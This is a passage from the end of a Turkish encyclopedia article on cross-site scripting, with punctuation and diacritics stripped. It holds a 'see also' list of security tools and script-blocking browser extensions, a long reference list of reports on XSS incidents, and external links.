icerigini bozarak gercek siteyi kullanmasidir Son olarak SQL Enjeksiyonu bir uygulamanin veri tabani katmanindaki bir acikligi istismar etmektedir Kullanici girdisi yanlis bir sekilde filtrelendiginde herhangi bir SQL ifadesi uygulama tarafindan calistirilabilmektedir Ayrica bakinizInternet guvenligi XML harici varlik saldirisi Tarayici guvenligi Metasploit Projesi XSS icin de testler iceren bir acik kaynak kodlu sizma testi araci w3af acik kaynak kodlu bir web uygulama guvenligi tarayicisi Betiklerin calistirilmasini engelleyen ucretsiz masaustu tarayici eklentileri Mozilla Firefox icin NoScript ya da uBlock Origin in gelismis ozellikleri genel bir icerik engelleme eklentisi Google Chrome icin ScriptSafe 3 Subat 2019 tarihinde Wayback Machine sitesinde µMatrix 3 Nisan 2015 tarihinde Wayback Machine sitesinde yaraticisindan bir eklenti veya un gelismis ozellikleri Opera yeni Chromium tabanli surumleri icin µMatrix 29 Aralik 2018 tarihinde Wayback Machine sitesinde veya un gelismis ozellikleri Safari icin JavaScript Blocker 8 Agustos 2020 tarihinde Wayback Machine sitesinde veya un gelismis ozellikleri Internet Explorer icin Guvenilen ve Yasaklanan Siteler belirlemek icin bir arayuz sadece 32 bit destekler bu yuzden 64 bit Windows uzerinde gelismis ile calismamaktadir XSSer 18 Eylul 2020 tarihinde Wayback Machine sitesinde XSS acikliklarini tespit etmek istismar etmek ve raporlamak icin otomatize bir cerceve yazilimKaynakca During the second half of 2007 11 253 site specific cross site vulnerabilities were documented by XSSed compared to 2 134 traditional vulnerabilities documented by Symantec in PDF Cilt XIII Symantec Corp Nisan 2008 ss 1 3 25 Haziran 2008 tarihinde kaynagindan PDF arsivlendi Erisim tarihi 11 Mayis 2008 Same Origin Policy Web Security W3 org 27 Ocak 2017 tarihinde kaynagindan Erisim tarihi 4 Kasim 2014 dross on MSDN 15 Aralik 2009 Happy 10th birthday Cross Site Scripting 30 Mayis 2015 tarihinde kaynagindan Erisim tarihi 19 Mart 2016 On the 16th of January 2000 the following names were suggested and bounced around among a small group of Microsoft security engineers The next day there was consensus Cross Site Scripting Grossman Jeremiah 30 Temmuz 2006 21 Subat 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 15 Eylul 2008 Arthur Charles 21 Eylul 2010 Twitter users including Sarah Brown hit by malicious hacker attack The Guardian 16 Ekim 2015 tarihinde kaynagindan Erisim tarihi 21 Eylul 2010 Leyden John 23 Mayis 2008 Facebook poked by XSS flaw The Register 11 Ekim 2011 tarihinde kaynagindan Erisim tarihi 28 Mayis 2008 Web Application Security Consortium 17 Subat 2008 21 Ekim 2010 tarihinde kaynagindan arsivlendi Erisim tarihi 28 Mayis 2008 Dignan Larry 21 Nisan 2008 Obama site hacked Redirected to Hillary Clinton ZDNet 27 Mart 2014 tarihinde kaynagindan Erisim tarihi 28 Mayis 2008 Christey Steve Martin Robert A 22 Mayis 2007 MITRE Corporation 3 Ekim 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 7 Haziran 2008 Berinato Scott 1 Ocak 2007 Software Vulnerability Disclosure The Chilling Effect CSO CXO Media s 7 18 Nisan 2008 tarihinde kaynagindan Erisim tarihi 7 Haziran 2008 Amit Yair 21 Aralik 2005 Watchfire 13 Ekim 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 29 Mayis 2008 Paco Hope Walther Ben 2008 Web Security Testing Cookbook Sebastopol CA O Reilly Media Inc s 128 ISBN 978 0 596 51483 9 Web Application Security Consortium 2005 1 Haziran 2010 tarihinde kaynagindan arsivlendi Erisim tarihi 28 Mayis 2008 Grossman Jeremiah Hansen Robert Fogie Seth Petkov Petko D Rager Anton 2007 XSS Attacks Cross Site Scripting Exploits and Defense Abstract Elsevier Science amp Technology via Google Book Search ss 70 156 ISBN 1 59749 154 3 1 Aralik 2016 tarihinde kaynagindan Erisim tarihi 28 Mayis 2008 This worm is named JS Ofigel A JS Quickspace A and JS Qspace in Sophos 2 Agustos 2009 tarihinde kaynagindan arsivlendi Erisim tarihi 5 Haziran 2008 and F Secure 5 Ocak 2007 21 Subat 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 5 Haziran 2008 and Symantec Corp 13 Subat 2007 24 Eylul 2015 tarihinde kaynagindan arsivlendi Erisim tarihi 5 Haziran 2008 Viruses and worms in Alcorn Wade 27 Eylul 2005 BindShell net 23 Agustos 2014 tarihinde kaynagindan arsivlendi Erisim tarihi 27 Mayis 2008 Bugzilla Mozilla 2004 20 Agustos 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 29 Mayis 2008 DOM based XSS OWASP 28 Ocak 2017 tarihinde kaynagindan Erisim tarihi 18 Nisan 2017 2011 30 Ocak 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 18 Nisan 2017 OWASP 28 Ocak 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 18 Nisan 2017 Angular js 10 Subat 2014 tarihinde kaynagindan arsivlendi Erisim tarihi 18 Nisan 2017 www majorgeeks com 29 Temmuz 2014 21 Subat 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 20 Eylul 2016 a b Arsivlenmis kopya 14 Subat 2018 tarihinde kaynagindan Erisim tarihi 1 Subat 2019 Brodkin Jon 4 Ekim 2007 Network World IDG 14 Subat 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 6 Subat 2017 Williams Jeff 19 Ocak 2009 OWASP 18 Mart 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 4 Subat 2009 Sharma Anand 3 Subat 2004 Prevent a cross site scripting attack IBM 24 Eylul 2015 tarihinde kaynagindan Erisim tarihi 29 Mayis 2008 Breach Security 15 Haziran 2013 tarihinde kaynagindan arsivlendi Erisim tarihi 6 Haziran 2008 OpenAjax Alliance 27 Eylul 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 9 Haziran 2008 O Reilly Tim 30 Eylul 2005 What Is Web 2 0 O Reilly Media ss 4 5 16 Ekim 2014 tarihinde kaynagindan Erisim tarihi 4 Haziran 2008 A page should work even if in a degraded form without JavaScript in Zammetti Frank 16 Nisan 2007 Practical JavaScript DOM Scripting and Ajax Projects via Amazon Reader Apress s 36 ISBN 1 59059 816 4 23 Mart 2019 tarihinde kaynagindan Erisim tarihi 4 Haziran 2008 How to use security zones in Internet Explorer Microsoft 18 Aralik 2007 6 Mart 2015 tarihinde kaynagindan Erisim tarihi 4 Haziran 2008 Lie Hakon Wium 7 Subat 2006 Opera Software 26 Ekim 2011 tarihinde kaynagindan arsivlendi Erisim tarihi 4 Haziran 2008 Mozilla 30 Mayis 2008 21 Nisan 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 4 Haziran 2008 Sybase Mart 2003 13 Kasim 2009 tarihinde kaynagindan arsivlendi Erisim tarihi 4 Haziran 2008 73 of sites relied on JavaScript in late 2006 in Most websites failing disabled BBC News 6 Aralik 2006 20 Nisan 2008 tarihinde kaynagindan Erisim tarihi 4 Haziran 2008 NoScript Features 22 Mart 2017 tarihinde kaynagindan Erisim tarihi 7 Mart 2009 W3C Candidate Recommendation 15 Kasim 2012 26 Subat 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 22 Subat 2013 12 Agustos 2011 tarihinde kaynagindan arsivlendi Erisim tarihi 18 Nisan 2017 Di Paola Stefano 3 Ocak 2007 Wisec it 10 Kasim 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 13 Mart 2012 Security hole in Internet Explorer allows attackers to execute arbitrary programs Heise Media UK 16 Mayis 2008 20 Kasim 2011 tarihinde kaynagindan Erisim tarihi 7 Haziran 2008 Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player Adobe Systems 14 Kasim 2006 29 Ocak 2017 tarihinde kaynagindan Erisim tarihi 7 Haziran 2008 Auger Robert 17 Nisan 2008 Cgisecurity com 9 Ekim 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 7 Haziran 2008 14 Agustos 2012 tarihinde kaynagindan arsivlendi Erisim tarihi 18 Nisan 2017 Hacker News 2 Mayis 2014 29 Ocak 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 21 Aralik 2014 Scharr Jill 2 Mayis 2014 Facebook Google Users Threatened by New Security Flaw Tom s Guide 25 Temmuz 2019 tarihinde kaynagindan Erisim tarihi 21 Aralik 2014 Web Application Security Consortium 2005 25 Eylul 2010 tarihinde kaynagindan arsivlendi Erisim tarihi 7 Haziran 2008 Cgisecurity com 2002 21 Eylul 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 7 Haziran 2008 Daha fazla bilgiMacKenzie Thomas 24 Eylul 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 24 Ekim 2015 27 Eylul 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 24 Ekim 2015 6 Subat 2015 6 Ekim 2016 tarihinde kaynagindan arsivlendi Erisim tarihi 24 Ekim 2015 13 Ekim 2005 1 Haziran 2010 tarihinde kaynagindan arsivlendi Erisim tarihi 24 Ekim 2015 Dis baglantilarOWASP XSS XSS icin Kod Analizi 28 Kasim 2018 tarihinde Wayback Machine sitesinde XSSed Siteler Arasi Betik Calistirma Saldirilarina Acik Web Siteleri Veri Tabani 21 Ocak 2019 tarihinde Wayback Machine sitesinde Siteler Arasi Betik Calistirma Saldirisinin Flash Animasyonu 21 Mayis 2013 tarihinde Wayback Machine sitesinde